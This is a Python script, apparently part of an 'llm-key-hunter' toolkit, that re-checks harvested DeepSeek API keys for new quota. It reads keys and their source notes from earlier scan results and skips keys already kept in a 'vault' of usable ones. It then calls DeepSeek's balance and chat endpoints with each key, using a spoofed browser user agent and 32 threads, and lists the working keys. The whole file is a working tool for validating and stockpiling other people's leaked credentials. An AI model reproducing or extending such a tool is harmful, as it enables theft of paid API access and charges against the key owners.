Files
hack/tools/scripts/llm-key-hunter/recheck_deepseek_balance.py
T

137 lines
4.9 KiB
Python

#!/usr/bin/env python3
"""Recheck previously no-balance / unknown DeepSeek keys for new quota."""
import json, re, sys, time, urllib.request, urllib.error
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path
HERE = Path(__file__).resolve().parent
BASE = "https://api.deepseek.com"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/124.0 Safari/537.36"
def load_keys():
keys = {}
files = []
for d in ("deepseek", "deepseek_deep", "deepseek_v2"):
for b in ("no_balance", "unknown"):
p = HERE / "results" / d / f"{b}.txt"
if p.exists():
files.append(p)
for p in files:
for ln in p.read_text().splitlines():
line = ln.strip()
if not line:
continue
# split on tab or pipe
parts = re.split(r"[\t|]", line, maxsplit=2)
k = parts[0].strip()
if re.fullmatch(r"sk-[0-9a-fA-F]{32}", k):
src = parts[1] if len(parts) > 1 else ""
keys.setdefault(k, src)
# exclude vault
vault = set()
for vf in HERE.glob("usable_keys/deepseek*/keys.json"):
try:
d = json.loads(vf.read_text())
d = d if isinstance(d, list) else [d]
for e in d:
vault.add(e["key"])
except Exception:
pass
print(f"loaded {len(keys)} unique no-balance/unknown keys, {len(vault)} in vault", flush=True)
return {k: s for k, s in keys.items() if k not in vault}
def http(method, path, key, body=None, timeout=25):
url = BASE + path
headers = {"Authorization": "Bearer " + key, "User-Agent": UA, "Accept": "*/*"}
data = None
if body is not None:
data = json.dumps(body).encode()
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.getcode(), r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
try:
return e.code, e.read().decode("utf-8", "replace")
except Exception:
return e.code, ""
except Exception as e:
return 0, f"net:{type(e).__name__}"
def verify(key):
code, body = http("GET", "/user/balance", key)
bal = None
if code == 200:
try:
j = json.loads(body)
if j.get("is_available") is True:
for inf in j.get("balance_infos", []):
try:
bal = float(inf.get("total_balance"))
if bal > 0:
break
except Exception:
pass
except Exception:
pass
# real chat
cc, cb = http("POST", "/chat/completions", key, {
"model": "deepseek-chat",
"messages": [{"role": "user", "content": "reply with the word ok"}],
"max_tokens": 16, "temperature": 0.01,
})
has_choices = False
if cc == 200:
try:
has_choices = bool(json.loads(cb).get("choices"))
except Exception:
pass
if has_choices:
return "USABLE", f"balance={bal} chat=200 choices"
if cc == 401:
return "DEAD", "401"
if cc == 402 or (cc == 200 and not has_choices):
return "NO_BALANCE", f"balance={bal} chat={cc}"
if cc == 0:
return "UNKNOWN", f"balance={bal} net"
if cc in (429,):
return "NO_BALANCE", f"balance={bal} 429"
if cc == 400:
low = cb.lower()
if any(w in low for w in ("invalid", "auth", "api key")):
return "DEAD", f"400 {cb[:80]}"
return "NO_ACCESS", f"balance={bal} 400 {cb[:80]}"
return "UNKNOWN", f"balance={bal} chat={cc} {cb[:80]}"
def main():
keys = load_keys()
out = HERE / "results" / "deepseek_recheck"
out.mkdir(parents=True, exist_ok=True)
buckets = {k: [] for k in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD")}
with ThreadPoolExecutor(max_workers=32) as ex:
futs = {ex.submit(verify, k): (k, s) for k, s in keys.items()}
done = 0
for f in as_completed(futs):
k, s = futs[f]; done += 1
try:
v, d = f.result()
except Exception as e:
v, d = "UNKNOWN", f"exc:{e}"
buckets[v].append((k, s, d))
if done % 50 == 0:
print(f" {done}/{len(keys)} usable={len(buckets['USABLE'])} "
f"nobal={len(buckets['NO_BALANCE'])} dead={len(buckets['DEAD'])}", flush=True)
for label, rows in buckets.items():
with (out / f"{label.lower()}.txt").open("w") as f:
for k, s, d in rows:
f.write(f"{k}\t{s}\t{d}\n")
print()
for label in buckets:
print(f" {label:11}: {len(buckets[label])}")
for k, s, d in buckets["USABLE"]:
print(f" ✅ {k} {d}\n {s}")
if __name__ == "__main__":
main()